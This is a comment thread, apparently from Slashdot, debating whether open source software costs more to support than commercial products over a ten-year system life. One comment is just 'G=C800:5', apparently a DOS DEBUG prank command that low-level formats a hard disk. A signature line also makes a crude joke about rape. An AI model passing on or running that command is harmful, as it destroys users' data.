3) See if the mailing list has a cache of old messages. That way you can check if your question has allready been answered in the past week/month/year. If not, perhaps arrange to have your own locan cache - that can be as easy as a new e-mail account with a large quota and a decent e-mail client that allows you to search it.
Right? Yeah makes perfect sense to me. Re: "need to consider external factors like support costs". How about considering how fat your sysadmins are and how much they need to eat.... Isn't that an "External Factor".
Sheesh waht utter FUD this is.
I depend on linux, sendmail, bind (shaddap), and pine for my email. This keeps me in touch with friends, family, and work; if my email goes down, I'm completely out of the loop as I never answer my phone anymore (thanks, telemarketers!).
I've had problems here and there; I hate configuring sendmail (as opposed to just about every other package out there), mod_ssl is a picky bitch, and kernel upgrades without menuconfig make my want to club baby seals with my spare monitor... but in all those cases, google found the answer. I got the support I needed quickly and for free.
In fact, the ONLY thing I haven't been able to fix with OSS is a strange problem with active ftp from any nat'ed client behind a slackware box running netfilter's iptables with all those ip_nat_ftp/ip_contrack_ftp modules loaded (or compiled into the damn kernel). However, as I never liked active ftp anyway, I can live with that one small quirk.
We had to do that here at the university I work at a few months ago, implement a NEW university wide search engine... Lots of people kept saying things like 'use google', however the free for universities version of google didn't give us the features we needed. We tried multiple pieces of software and finally settled on AspSeek. So far it's been able to hold up to what we've put it through. We haven't really tried to customize it however... Without knowing exactly what you are trying to do it's hard to know how it would hold up. We also tried MnogoSearch (it's worth taking a look at, but we had lots of problems with it). We were originally on ht://dig, but moved away from it due to multiple reasons...
If your doing a large scale (over 50k) site search engine, or a multiple site search engine with a database and webcrawler, I wish you luck... there isn't much support out there and the options are few... I hope perhaps the ones that I mention are some help to you.
[Something witty and intelligent should have appeared here.]
{Traicovn}
RedHat's Advanced Server is not flying off the shelves, despite companies demanding that there be a less frequently changing, better supported version.
Sendmail, Inc is not growing wildly despite their MTA being on 84% of the Fortune 100's gateways (according to their website). And who knew they had IMAP and Webmail products (not open sourced, apparently).
Nominum is Vixie's support org for BIND and DHCP after the ISC didn't really attract tons of money from people who live and die by BIND.
Source Forge code didn't really work on anything but VA Linux boxes running their Linux. Lots of work got it to RedHat, but it was complex and impossible to setup 18 months ago. Now it's commercial saying, to me, that you need someone else to come configure it.
Would Mozilla exist without paid developers from Netscape^WSun^WAol working on it?
-
It seems that post-bubble, that the Commercial support of OSS model isn't really working out? Is it because on our side of the fence - the linux/bsd users won't pay for ANYTHING? One big failing is that last 10% that Unix programmers tend to skip - the part that's not fun to program that makes the tools Usable by Mom<TM>
With all that's said about Open Source a philosophy, something that goes beyond pure making programs, I think that this post has missed the point a bit. Open Source comes from sharing knowledge and skills and is developed by a community, the community growing bigger and improving from its virtues. This is looking at open source cost in a very american style corporate manner. To buy support for open source in some circumstances may well cost more than getting support for a commercial product, I have no argument, I have no opinion on it ... it's beside the point.
... and it will be for the better.
For open source to show its true value the company must to some extent embrace the spirit in which the software (at grass roots level at least) is created. Nurturing gifted people and allowing them the freedom to work with the software, in that environment with the right people open source methods are surely the most productive. I'm aware that there are problems with this, small companies with small budgets may have problems with this. Doing this may go against the corporate grain of most big companies, but that is the battle that we face. OSS has already changed the rules in some respect, it has bent market forces to get large companies to fund open source work, to open their code because this philosophy adds value to their product.
Good IT people who have the resources and the ability should attempt to build this within their departments. Pressure for the use of open source, pressure by making a good product and showing results in the development of the staff and a change of corporate attitude. We can get rid of this sort of thinking
Don't lose your way, confusion is a tool of hegemony.
How do you justify 10%, why not 5% or 20%, why $80000 why not $50000 or the mean IT salary for workers in country X. Justify your figures, don't make up reasonable sounding values and earn your salary by .
I think for this cost you would be able to request features added to the codebase. A better approach would be to identify the core developer and see what you have to offer to attract one to support your cause.
In the different scenarios that you created for this
did you include one with the hiring of 1 or 2 programmers
that will contribute to the effort, maintain the
code (even if it's just applying patches from
foruns and others or it could be customisation)
and do the support to the others?
The kind of people that you don't need to tell them
to RTMF or to RTS because they already did.
You claim that it's a requirement that this system would have at least a ten-year lifetime. Did you get commitments from the software vendors that they would support their product for ten years, or help you transition to a replacement product? Companies regularly terminate unprofitable products, and in some cases they withdraw timed license keys, with the effect of causing deployed systems in the field to cease to work.
If not, then the only option for you that you can be certain of maintaining over a ten-year life is the open source option.
...I must question how you got 10% of the FTE.
I think that the main determination of the cost of maintaining a product over time comes from supporting the aspects of the product that you develop, not on the technologies that you utilize from other developers. Assuming that you are making use of mature products, preferably products that are standards-compliant, I can't see the support costs related to these products contributing to the long term maintenance cost in any notable way. The bigger concern is whether the company that produced the product, or a community maintaining the product, will continue to exist for the lifetime of your project.
ps. Sorry for the poor writing style, there is a reason that someone else has to write my documentation.
Of course, that's just my opinion, and I am usually wrong.
I would like to see Microsoft beat the TCO of my current system.
I did make a donation To Debian when I got the initial installation CDs (but I didn't have to.).
Upgrades are freely downloadable and can be done automagiically.
Microsoft could pay me to take windows.
Then they could pay me to install each Service pack.
Then pay me again when they come out with the next Version of Windows.
I would keep the windows machine up to date.
Use the Debian box.
Then donate the bribes to Debian
134340: I am not a number. I am a free planet!
Read the Halloween 7 article by ESR, below and at http://opensource.org/halloween/halloween7.php . It didn't take long for Microsoft to engage, did it?
"Hello, welcome to Open Source Phone Support. Press One to listen to the fucken manual. Press Two to get a fax of the fucken manual. Press Three to get email of the fucken manual. Penguin T-shirts are currently on sale for five-ninety-nine. Proceeds go to improving the fucken manuals. Please stay on hold if you wish to purchase one. Oh, and by the way, don't forget to read the fucken manual before you call again. Have a nice day."
Table-ized A.I.
You have assumed that a commerical company will support you for the ten year lifecycle of the project. However, it is very likely that the commerical company will fold or discontinue the product during those ten years. After that you will be unable to fix problems or add features as you will not have access to the source code.
Only an open source product is guaranteed to be supportable for the full ten years of the project. Even if the development team for the product get bored and leave, anyone sufficiently skilled will be able to step in at anytime and make modifications or changes.
The community that uses the product will quite likely start supporting it themselves (if they aren't already). Or of course your employee may be able to make small changes even if they are not the greatest developer on the planet.
So, from your list, in order to fulfill your brief correctly, you should really be looking only at open source products (commerical or free).
Might want to factor in such things as rent-a-coder sites. If you have a problem with an open source project, you have the option to put the fix up for bidding. And believe me, thare are a LOT of smart coders out there. Of course, you trade reliability for cost.
I know you think you are /.'s head iconoclast, but you know as well anyone that MS has NO interest in encouranging crossplatform compatibility in ANY document formats, outside of enough lipservice to fill out the RFP acronym checklist of the day. The *default* save format (i.e. the one that 99% of the user base will use), while possibly being XML based, will no doubt be encumbered by very onerous NDA and licensing restrictions.
.txt from day one, and nobody uses it.
.html from Word is also an option rarely used, and when it IS used, horribly broken, unreadable .html is invariably the result.
Word had the capablity of saving as
Exporting
Portable, open, unlicenced "save as xml" will no doubt be an option, but one that NO Office user will use, either out of ignorance, or out of frustration that the output is either hopelessly munged/unreadable, or simply isn't representative of the actual document's formatting.
Its true, really. Anyone who doubts this can come sit at my desk with me while my company unknowingly pays me to compile and recompile KDE/GNOME/Mozilla /etc. all day.
Don't blame me, I get all my opinions from my Ouija board.
the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive.
And after 6 years. Does any vendor provides you any guarantee that they will be there supporting the product?
And if they're not there or they don't support the product anymore, will they open-source they code so you can find some kind of independent support?
I think the fact that the expected lifetime of the system is that long is just one more reason to go for open source !!!!
It seems to me that the lifecycle cost of any particular application will vary markedly on the particulars of the situation. The concept that you can say xyz has a lower TCO than abc is so dependent on the particulars of the situation you cannot make generalizations.
Now, I dunno what kinda search engine you're looking at but 10% of a staffers time (4 hours a week) seems high to monitor the relevant mailing lists just to "keep up". Particularly high if the staffer is just "keeping up" with security and compatibility issues and not regularly implementing extensive feature changes.
Aside from that there's the simple issue of someone riding herd on the commercial vendor's install. Depending on what kind of contract you've got generally someone in-house has to keep on top of things and make sure that the vendors is maintaining their install up to date and secure. That may well be about the same amount of time as the Open Source project may require, something I think you may not be accounting for.
Lastly there's the whole long-term viability/migration issues. We've all seen any number of projects get cut, killed, their vendors wither into uselessness, etc. As many have pointed out with Open Source at least you've got a copy of the source code to hand to someone else hired down the line and keep running. One can of course write in code escrow clauses into a commercial vendors contracts but generally they add a lot to the cost and it's a constant battle to keep them up-to-date. Plus in a decade when the whole thing is re-up for evaluation with Open Source at least you have the file formats identifiable, with closed you may have a dickens of a time pulling back out your data.
Frankly I don't think your evaluation is particularly useful, especially as a generalized one. It may well be that the Open Source project only requires a low-level staffer's yearly look-see to keep up to date. Or the commercial version may demand bringing in outside consultants to baby-sit as the entire environment evolves from today's assumptions. Or the other way round. Good topic, bad example.
I don't read ACs: If a post isn't worth so much as a nom de plume to its author then I wont bother either.
Where does the TCO stop? When you buy another version or upgraded product? Basically does you W95 TCO stop when you upgraded to W2K which has its own TCO? Why would you not add the TCO's of both into a Total TCO of keeping your computers running over the years? This is something to consider when using open source. Two or three years done the road you can modify or add to your existing software to keep the software going and support your existing needs, you will not have to throw away package A and start over with package B. If you upgrade often your support costs may be less because more people are currently using it but your software costs go up (supply and demand). If you hold on to an application longer your costs will go up for support as less people are using it in the end but you will pay much less overall in software costs. Open source would allow you to keep an application going with third party support that does not have to be from any one vendor or from in house, seems to me this would make open source cheaper the longer it is used. Maybe not so cheap if you have a full time programmer on your pay roll to make a few changes to a package once a year but how does that?
What is Omnipage Pro up to now? version 12 or something. To maintain those "cheaper" support costs you have to keep buying the newest version.
Bad boys rape our young girls but Violet gives willingly.
"Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."
Did you try: we're gonna pay you 400$/month to answer our questions regarding product xxx?
I mean hell, some companies, like Oracle, are extremely expensive to deal with, just as much as any open source support, and you have to pay extra for the software itself.
Also, is your open source solution going to last 5 years? When's the last time a Microsoft product lasted 5 years where you didn't have to pay for extra software?
~ now you know
I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!
...
When factored in with equal administration costs, adding in training and support (available from these vendors) and other one-time and yearly costs (for such things as licenses), the commercial products were more expensive for the first four to six years of lifetime costs, after which the Open Source product became more expensive.
I must admit that any commercial product will require some time from their IT staff, but because there is 'support' available this is seen as being much less important. Major fixes or changes can be dealt with by hiring consultants like myself, and lesser issues dealt with by calling customer support. They might even be right in this estimation.
Did you caculate the cost of the "much-less-important" but still necessary time of the FTE to support the commercial product? Did you calculate the cost of hiring consultants for "major upgrades." The text above sounds like you did not include them, and only mentioned incidentially. What percentage of time will an FTE need to be allocated to support the commercial product? How many hours of consultant time will be needed for the major upgrades?
Software Wars
The real problem, unfortunately, is the shop's sunk costs. In large MS corporations, what's the cost of deploying one more intranet system? Basically zero. That's because at some point you start getting economies of scale. Unfortunately, this person was doing the analysis based on having to take on all the costs at the beginning, whereas let's say the entire government was open-source and they had a team that could write code/support/develop, etc. Then this project wouldn't require support and the expense goes way down because to add one more system would basically be zero. So I agree, his conclusions are probably correct in this case. But this should be seen as a big win for open-source; before you weren't even in the analysis!
"This isn't a study in computer science, its a study in human behavior"
In my mind, the biggest issue with commercial use of open source software is that the consumers of such software have no way of compelling the makers to do one thing or another.
Not true. If you need a feature, pay them to add it. I know companies that pay for this kind of service. If it is too expensive, maybe you can find someone else in the community that wants the feature and split the cost (Heck, if I were running some opensource project, I'd make this as easy as possible so that you can increase the odds of getting paid to do it!)
Open Source Support Engineer (OSSE)
(GNU Certified ?!)
Has the fact that the open source project can be more portable, and thus, enjoy an extended lifetime of usage been taken into consideration?
Chas - The one, the only.
THANK GOD!!!
So that you can make a product or steal bits of code. Just because something is opensource doesn't make it cheaper in any aspect really. What it does do is provide you with choice; the choice to fix a bug, the choice to add documentation, the choice to add a new feature etc etc. Which WILL save you money in the long term. Is it going to cost more to support in the short term for a large sum of code, yes. If you want a solution that works with support then you go with the Company that is providing support for the opensource project (eg: mysql, apache blah blah blah). If there is none then you're on your own, however anyone that understands the economics of these things will tell you that sometimes buying the big package and writing it off is ideal. However the cost that you don't see is the one of choice which believe it or not will most likely end up costing you alot more money in the long term. Especially because you can't adapt without that commercial company.
If your time is worth nothing.
Seriously, all computers suck...Mac, Sun, PCs running windows, PCs running Unix....etc. They all eventually break, and they break too often. I'll admit, some do suck less than others, but I won't even think about starting that topic here.
-ted
I lost my last job because the TCO of using "grep" bled my employer dry.
First, what is the probability that the commercial vendor will still be in business, supporting the version of the product that you want to use, in 5 years? 10 years? 15 years? Vendors typically have an end-of-life schedule and forced upgrades for products. Going through an upgrade, particularly an unwanted upgrade, can be just as expensive as re-writing the product from scratch.
There are a few very large systems vendors that have been in business for a long time and will commit to supporting any version of a product. Typically such contracts carry price tags that increase at least to the power of 1.5 per year. At least. Used to work for a company that paid for support on a 1950s vintage application (in the 1990s!). The cost was a significant percentage of their total revenue.
However, there is also one very large system vendor that has a habit of buying marginally successful software vendors, milking their support contracts for three years, then terminating the product. Do you have guarantees that won't happen?
Second, you make it sound as if when a problem occurs with the commercial product, you pop a punch card in a slot and *bam* a solution appears.
In fact, handling the vendor/support relationship on complex commercial products is an art and can easily become more than a full-time position. Software vendors have to be managed in much the same way that pre-teen children do: encourage them, praise them, lead them toward answers but don't do their homework, pick up their laundry off the floor, and discipline if and only if necessary. That is not an easy job, and one that generally takes a lot of time (again - just like children). Finally - what does your client do when the vendor just refuses to fix a problem? Which they will, eventually: "Sorry. Working as designed. Submit an enhancement request.". What now?
sPh
I hate all TCO studies. I don't care who does it or what they're testing.
TCO needs to be analyzed on a case by case basis. There is no magic number. Let's look at two companies.
My company
Software:
Wordperfect
Lotus
Internet Explorer
IBM Client Access (for AS/400)
Groupwise
Access
Those are the core apps found on most machines. It's the web based apps and the custom apps that are killers. For instance, we have an 8 way contract with company A to develop an application. It needs SQL Server 2000 to run. That's a lot of cost, but it's split 8 ways. Now, let's get that same app to run on Linux and access a Postgres server. Crap... WE have to foot the cost. No other software, free or otherwise, does what this app needs to do. It needs to be custom. To move out company to a linux environment would be costly. VERY costly. Training and app development would cost us way more than getting screwed by MS.
Friends's company:
MS Office/Outlook/IE
Semi-custom Access program for accounting
1 NT server, does file and print sharing
Here we go, linux would be cheaper! This company already is playing with Openoffice and Mozilla, in fact most users have MS Office just to do file conversions occasionally. They want to add a 7th workstation to their domain. They have a 5 user license, so currenly only 5 can be logged in simultaneously. The 6th rotates around, and they make it work. Their accounting app only runs on one computer, so at the very least we'd leave 1 Windows machine untouched. The rest are ready for linux. The PDC becomes a samba server, 6 of the 7 workstations are linux, the 7th just sits running Office and the accounting app as needed. There you have it, zero software cost and they're migrated to open source in a weekend.
a move to OSS can be done cheaply, or it can be done at a huge cost. Anylize YOUR SPECIFIC REQUIREMENTS, you and only you can determine whether OSS is right for your business.
There is no reasonable defense against an idiot with an agenda
:wq
I think alot of it depends on the type of project and tools you are considering using to work with. As an example, my company has been getting into Java for server side processing. Rather than jump straight in and spend 100K+ on something like Websphere or Weblogic, I find it more useful to start with something OpenSource but reputable like JBOSS. Once we become proficient and decide if Servlets/EJB are even the way to go.... we can then worry about if JBOSS will be enough or if we need to step up to the IBM's and BEA's out there.
There's also the costs of supporting a discontinued commercial product (mentioned in another post). Consider the recent announcement that Microsoft would be stopping all support for win 95 this year, and win/98 in 2004. That's about a 6 year lifetime for a product with probably the largest user community in software history. How much will it cost these companies to get their support now?
My guess is that future support for the proprietary products will decrease in quality over time (but for the same price) to the point where it may be necessary to replace the product with a newer one (at very large cost).
Sometimes boldness is in fashion. Sometimes only the brave will be bold.
Laugh. It's funny.
Necessity is the plea for every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves.
This is simply a result of thousands of schools foolishly believing that teaching people how to use a browser, word processor and spreadsheet are computer literacy. De-evolution in action.
Democrats and Republicans only disagree about how to enslave you
You might also wanna ask Ashcroft for
an indepth analysis on the war against
IRaq or Chaney to help you make up your
mind the election was a good thing or not.
In your estimate for OSS you allocated 0.1 FTE to keeping active on a mailing list, keeping familiar with the product, etc. You then said this was 3 times the cost of a support contract. What you failed to include was how much of an FTE was devoted to having an internal person be able to call commercial support and obtain proper support.
When you call Oracle or any vendor for support, in general it is not like some manager can call them in and have them access the system and fix the problem. A technical person calls them, gives them info, performs actions at their suggestion, etc. That technical person needs to have the skill sto do that against the product. in other words they probably have to invest that same 0.1 FTE to be prepared to call commercial support.
Therefore it is not 0.1 FTE verses 1 support contract, it is 0.1 FTE verses 1 support contract plus 0.05 or 0.08 or 0.1 FTE.
YHBT YHL HAND
Don't pay to much attention to what the trolls say. How do you recognize a troll? They post on slashdot.
I'm sorry, but I think it's ridiculous for anyone to make a decision without seeing your premise, data and conclusions. This isn't enough to go on.
-Ansel.
G=C800:5
G=C800:5
in considering closed systems you should demand that they have been around for 10 years.
The nature of distributed collaboration leads much better documentation. On many open source projects, the manual is actually a source of information. See debian's policy.html for a good example. For similar reasons, open source news groups usually have much more helpful information than vendor groups.
:-)
Most of the time googling will lead to exactly the answer you need in very little time. Sometimes, all you need to do is cut and paste the error message into groups.google.com to get an answer.
And if you want to buy support, you can still purchase it from RedHat, etc. But I heard a dirty little secret from some folks who sell support for Perl -- it doesn't really need it
~ Patrick
groceries for the whole world will be supplied by open sourcers who feel everything has to be free to be good, their job.. first find the supplier who will supply for free......then again maybe some day.....with open source leading the way.....lets see what china does with linux...
I haven't read all the other posts so I apologize if this is redundant.. but...
the commercial products were more expensive for the first four to six years of lifetime costs
While this may justify some commercial products TCO. It shows that for the average lifespan of a vendor supported microsoft product the TCO will probably be higher because we all know microsoft is prone to retire a product (and support) well before it reaches 10 years of age. Heck, windows 2000 is already slated for retirement and it's hardly 3 years old.
Looks like if bill's goons want to beat us on a TCO ISSUE they will have to make a product that isn't so buggy it has to be retired every 5 years.
-- this space for rent --
Even though this may not be your business model: once you gained the
knowledge needed to maintain and maybe even enhance an Open Sourced
product, you could, theoretically, lower your cost by having the
support team specialize and offer support services to other companies
that want to use the same product.
Unlike a closed source product where you're very limited by the
knowledge you can acquire. I'm not sure if there is a legal side to
this i.e. can the company making the product prevent you from offering
the support yourself, but in any case a customer will probably just
buy support directly from them and not you.
In certain cases, factoring this into the equation might even turn a
project profit instead of cost.
One thing that is often overlooked is the cost of tracking licenses/license keys and proof of purchase. If you use Free Software you can install the package on any machine without worrying about finding the contact information and purchase order.
Also there is much less overhead in the initial acquisition of the software initially. With Free Software I have often been investigating a project in the afternoon and had a working prototype for Management evaluation in the morning. These could be projects it would take weeks to get the PO signed, price negotiated and media delivered.
All of this without exposure to BSA forced audits.
Just because one OSS solution has a projected higher TCO than a CSS doesn't mean that all OSS solutions have a higher TCO. If the OSS solution you have chosen is modular, more than likely you can hire employees who can be trained to support and maintain the code long after all other support is available. However, if your software is supposed to provide solutions to complex mathematical equations few people can solve don't assume cheap programmers will be available to maintain the code.
"We can't solve problems by using the same kind of thinking we used when we created them."
I'll bet that the cost is directly related to the skills of the technical staff. For exampple:
Case #1 (my company) We pay support for many products (Oracle, Sun, Weblogic) but rarely use it. Why? We get tired of debugging their product. We have a very talented staff, and by the time we finally call support, we have already done all the stuff they are going to tell us to do again (Yes support-person, it is plugged in and turned on.) We often end up doing things that are of no value, and we know it, only because the support person won't give us any help until we do it. In one instance, they actually had the nerve to ask us to install a kernel patch and reboot our production system in the middle of the day. They had no concept of testing and QA of changes. So, for us, Open Source is a godsend. We use Google to find answers to problems, and have even read code a couple of times. All for free, except for our time.
Case #2 -- Some other company This company has promoted their office manager to IS director. He doesn't know a USB from his pie-hole and has to pay out major bucks to get someone to come in and make sure his computer is plugged in and turned on. Open Source products without support contracts are too expensive for him, because not only does he waste a lot of effortand have a lot of downtime, his medical expenses will go through the roof.
Each company has to determine the true cost of support and whether or not it is worth it. We spend big bucks on software support mostly so we can get patches and upgrades, not phone support.
I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
but how much is your soul worth?
.Net server which contained the bank account information containing the entire $40 billion and dispersed $1 to 40 billion PayPal accounts. Since the loss of the $40 billion in late 2004 Microsoft has struggled to stay in business. GNU/Stallman exiled Mr. Gates and his company to northern Canada, forbidding Mr. Gates from ever returning to the US. According to GNU/Stallman, 'He is a menace to our free society.' From this reporter's perspective Mr. GNU/Stallman used to be referred as the same."
Soon we will rid the world of all commercial software and open source zealots will rule the land.
"In breaking news today October 2, 2010 Mr. Stallman the leader of our free but not as in beer society has decided that we will be required by law to refer to him as GNU/Stallman. For those who fail to do so will be required to attend a course on proper acronym usage and application and could be fined up $5000.
In other news Bill Gates is still trying to figure out how Microsoft could have lost $40 billion dollars. Rumor has it that a Stallmanite hacked the
A gunshot rings through the news studio as a Stallmanite assasinates the subversive news anchor for his obvious attempt to tarnish the good name of our leader GNU/Stallman.
Viva GNU/Stallman
LoRider
Why would it take 48 minutes per day every working day to maintain software?
I'm responsible for the installation of a suite of OSS applications and I barely spend any time on maintenance. Once the installation is complete and the initial configuration completed, there is almost nothing to do until a problem appears. At that point I may need to do some research. The only other maintainence might be every few months to may check for a new release.
In what way is this any different than a commercial product?
The questioner wonders about the support costs of a commercial app that doesn't do all of what they want it to do. The vendor is going to customize it for free? I'm sorry, not for free, the support cost was less than $2600/year. Not including adding new features that the vendor wasn't planning to install, or thinks they can get the client to pay for. Played that game before doing government consulting.
The real comparison is between using an OSS project, and paying someone to customize it, and using a commercial product and paying someone to embrace and extend it.
I bet the OSS costs will still be less than the "peek at the source code" fee for a proprietary solution.
Your cost differential analysis is flawed because of a base inequity. You presume that your for-pay solution will not have a percent-of-FTE-time associated.
Even when you pay for support for a product, if you don't assign someone to actively track the product you will not gain the benefit of the support you pay for.
Few if any support contracts provide that "whatever the supporting company discovers will be broadcast to the paying customers." That is, while the infomation will be "made available" to the supported entities, it will not be spoon/force-fed to same.
Consider the typical support contract. Such a contract entitles the user to certian things:
1) reasonably unrestricted access to some sort of knowledge base.
2) reasonably unrestricted access to the current patch archive.
3) telephone/email (whatever) access to someone who will help you find your way through items 1 and 2.
4) the opportunity to add bugs to the development chain.
Usually, these support contracts seem to have more value because of the phantom-element number five. (Someone to blame when the fix isn't available.)
Now a truely expensive contract that garentees *any fix whatsoever* let alone garentees to *fix your problem in (whatever) time or less* tends to run into huge dollar amounts.
So the total service rendered for a paid comercial support contract is for items 3 and phantom-5. And you only get to use these items when something is really broken. If you are not actively persuing items 1 and 2 yourself and at your own expense then you will have taken no preventative action, and an unmaintained system will likely break no matter how you acquire it.
So Decide... Are you pricing a system that will be maintained?
If so, you will have to allocate some fraction of an FTE. That cost will be similar no matter the source or positioning.
If not, then cost will be a function of frequency of breakdown.
Then, once a breakdown occurs...
Does your support contract *garantee* a fix?
If not, then the total cost expended on the support contract was paid to deflect accoutnability and allow you to contact a person who will walk you through the existing database of problems.
Remember, almost nobody who has paid Microsoft, Oracle, Sun, or IBM to "support" their applications has *ever* gotten to do more than submit a trouble ticket. Paying support doesn't reserve you a programmer who will jump to your needs like a hound to a scent. It just buys you the right to be heard and the right to hear.
Joining the mailing list (or hopefully bugzilla-style issue/ticket database) for an Open Source product is the free equivalent to 90% of what a support contract is anyway. The only thing you don't get free is access to someone who has the cookbook for pawing through the data.
You need to quantify your expectations for "service contract" before you can properly assess the cost.
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
Somewhat related. When I worked for a Telco we used several unix boxen monitor the telephone network. The default settings of the software didn't provide much in the way of redundancy or fail-over. So the -technically - brilliant contractor did that through various smart scripts etc. However, when we hit a bug in the software the vendor couldn't/wouldn't make it work until all this clever stuff was undone. Lucky for us the contractor was still on the payroll, so he could undo the damage. Lesson learned: when you are not going to build up the knowledge internally, stick with the defaults and don't change anything at all, or you will be of the deep end when things go wrong.
Wanting to do an evaluation is a good idea, however, one can do more damage than good with a poorly done evaluation. I say this not because I know apriori which outcome is best for you, but simply for the fact that your analysis is flawed.
.... mmmm, if you were my consultant and submitted that, I would have fired you on the spot. Any monkey can add (and make up) numbers .... consultants are paid for doing some actual work like actually analyzing the details -- at least my consultants are.
All you did was add up a bunch of numbers (one of which is made up) and then decided which one was lower. Your end result can change based on how big your made up number is
In this case the details which you glaring glossed over are some projections (based on historical data) of bug counts, resolution times, platform support, release frequency and the amount of clout you have to influence bug priority. That last one is very important if this system is to become mission critical 24x7 functionality.
Furthermore, it is not enough to know that you're buying support from a software vendor, qualitative factors such as response time guarantees, escalation clauses, level of effort required to submit problem and access to knowledge bases are all very important.
Factoring in all of this information, your analysis becomes one of assessing which software vendor can be your partner for the next 10 years. The best partner for you will depend on your personality, it might be the proverbial Maytag repairman (kind of there, but then again their product is rock solid and you never need them) or it might be like Microsoft (always there, but you stop calling because they can't solve the numerous problems).
The guy sez "is anyone in the business of providing commercial support and training for the entire universe of Open Source, perhaps contracting on a product-by-product basis? I guess a corollary to that question is, if not then why not?
Uh.. because (for starters) "the entire universe of Open Source" is just a wee bit too large for one person/group to be able to support. Sourceforge for one, has over 50,000 projects. Also some things that are "open source" may actually not be supportable due to crapulance. (e.g. I'll open source the following code for you:
10: do what ever I say 20: go to 10
) So, if you are actually suggesting that "There might be a viable business model here!" Then I hereby throw away anything you say about business, including your TCO analysis
Of course open sores is going to cost more in some cases (no, not always), But the lack of accountability is what has the PHB to afraid to implement any such nonsense into his datacenter. I wouldn't allow it either. Stay the hell away from my production source code. Better yet - let someone else keep the source code and I'll call them when I have a problem with the binaries. Its all about accountability when your ass is on the line. I don't want undocumented changes to come back and bite me in the ass. I know I know. Strict change control and peer review - right? Yeah sure, and nobody plays the "cowboy" in your IT dept either. LOL
I keep hearing from this crowd that closed-source and protected IP is a doomed business model. I just don't see how you can justify that.BTW Microsoft PSS support is free (as in beer) if you suffer from a bug in their product. You're only charged $$$ for support when you don't RTFM
I hear a lot of people say things like..."$1000 each year for eight years is $8000, and this other product only costs me $6000 up front so its cheaper..." Did this guy's calculations take into account the time value of money? Financially, money now is worth a lot more than money later. To truly compare, you would have to take the money saved up front on the OOS and place that in an intrest bearing account until its actually needed--thats about 6 years of interest by your calculations before any of that money is needed to continue to support the OSS solution. If time-value wasn't taken into consideration, then the OSS would likely be actaully cheaper even according to your own estimated costs (which most folks here think are a little high.) I really wish more people would take the time-value of money into account when siting TCO numbers. Didn't any of these engineers learn this stuff?
RTFM. Mods are picked from the middle of the pack. Periodic posts, average karma; not the -1 trolls and not the +49 folks.
The maintenance cost of this site is very low, but the request for additional features will probably soak up some additional funding. There are plans to add a freshmeat like feature to the site where individuals can ask to be notified any time a new regulation comes out that matches a query.
A full search engine setup should need almost no administration after the initial breakin period. Why? The basic functions of the engine should never change!
Search engines crawls pages, indexes them, provides an interface for searching, and returns search results for browsing. Ten years from now, it'll still do the same thing.
To me that begs the question - why on earth would anyone pay for 24x7 support for a search engine? In case the engine goes down? That's an unlikely event given the stability of open source software and proper hardware. But say it _did_ go down - reboot the machine. Done. What if the hard drive crashes? Restore it - that's what IT is for. Need an expert? Pay for one on an hourly basis ($200/hour should attract someone quick - that's still cheaper than 24x7 support that will rarely be used).
Propriety software is not usually supported too far out from when it is released. Propriety software companies want you to upgrade every year or two or they'll pull support and you'll be on your own. So you have to upgrade your search engine say once a year and pay for someone to do it. Plus, it might break some other software or require you to upgrade to the latest version of Windows, etc... which also must be figured in.
Anyway, this story is chock full of holes. Many more questions could be asked for which no answers have been given. For example, what about the number of pages indexed? Most search companies charge you based on the # of pages you want indexed. Go above that and you'll need the costly enterprise version.
I find it very hard to believe that a proprietary software solution would be cheaper than open source.
Oh come now, do you *really* expect anything like this to last 10 years? We're using an app here at work that we decided didn't have the options we needed and so went to a web-based solution after using the other for only a YEAR.
Applications, hardware, software and just about EVERYTHING change by leaps and bounds in just a 1-year lifespan. Moore's law is based on an 18-month timeline. You're talking Moore's law timeframe x7! Be reasonable in your lifetime expectations, and THEN come back and talk to us.
GIR: I'm going to sing the Doom song now. Doom doom doom doom doom doom de-doom doom doom doom doom doom doom...
With open source you can buy support from a company that doesn't exist, because if there's someone paying, someone will found a company.
With proprietary single vendor software, if the company doesn't exist anymore, you're SOOL, no one else can work on the stuff even if you pay.
This is exactly the reason commercial support gains so many purchase decisions for commercial software. Not all users are smart. Or, not all smart users choose to spend their time studying every single software product they use. Instead, people choose to focus their energy on their own areas of expertise and depend on others for SUPPORT. When you look for support and get told you need to become an expert yourself, THAT is a very hostile environment and will drive the user/customer to a different product. Now, OSS does not have the same competition for customers that commercial software has. Since OSS is built, for the most part, by people donating their time for the greater good, to build something neat, they don't have to deal with the details of a customer based relationship. The problem, though, is that this mirrors the classic error that high tech companies have always made... the "if you build it, they will buy" syndrome. There are plenty of studies that demonstrate how products need to be driven by customer need, as identified through multiple "requirements" gathering techniques. Products that developers build and then throw over the wall to marketing & sales are far less frequently successful. And herein lies the dilemna in much of the OSS frenzy. How does one build software that solves customer problems when the customer is not the focus of attention?
This attitude toward support, of expecting customers to RTFM when they don't have the time and do have the money to pay for the knowledge is symptomatic of the larger problem.
Surprisingly enough, it's everyone's favorite Microsoft-killer, Apple. Their Shake application reqires an Annual Maintenance fee of $1,199. FX
Try writing into the support contracts that you get the source or they pay (escrowed) for support or correction over the life of the system if any of the following happen: 1. They go bankrupt. 2. Any change of business plan (acquisition, restructuring) causes them to drop support for the product. 3. Dependent software changes or updates and they decide not to support the newer version (Office 95 or 97 are now unsupported but are far less than 10 years old).
/. article, it noted that Microsoft support didn't compare favorably to "the Psychic friends network".
Also, what is the assurance of quality of support? Lets say the system is popular but the system is "too slow", but can't be addressed by upgrading hardware. The system has FAILED, but "support" is worthless. In a long-ago
Or you call, get put on hold, talk to a receptionist spelling out every word of geekspeak, then a few days later someone calls back and leaves a message that they will call back sometime, (no callback number) since you were talking to someone else and voicemail picked up.
Or that the problem is something systemic and won't be addressed until the next version.
Make sure that the contract specifies things clearly and exactly. Remember you will be bound to the vendor for longer than many people are married.
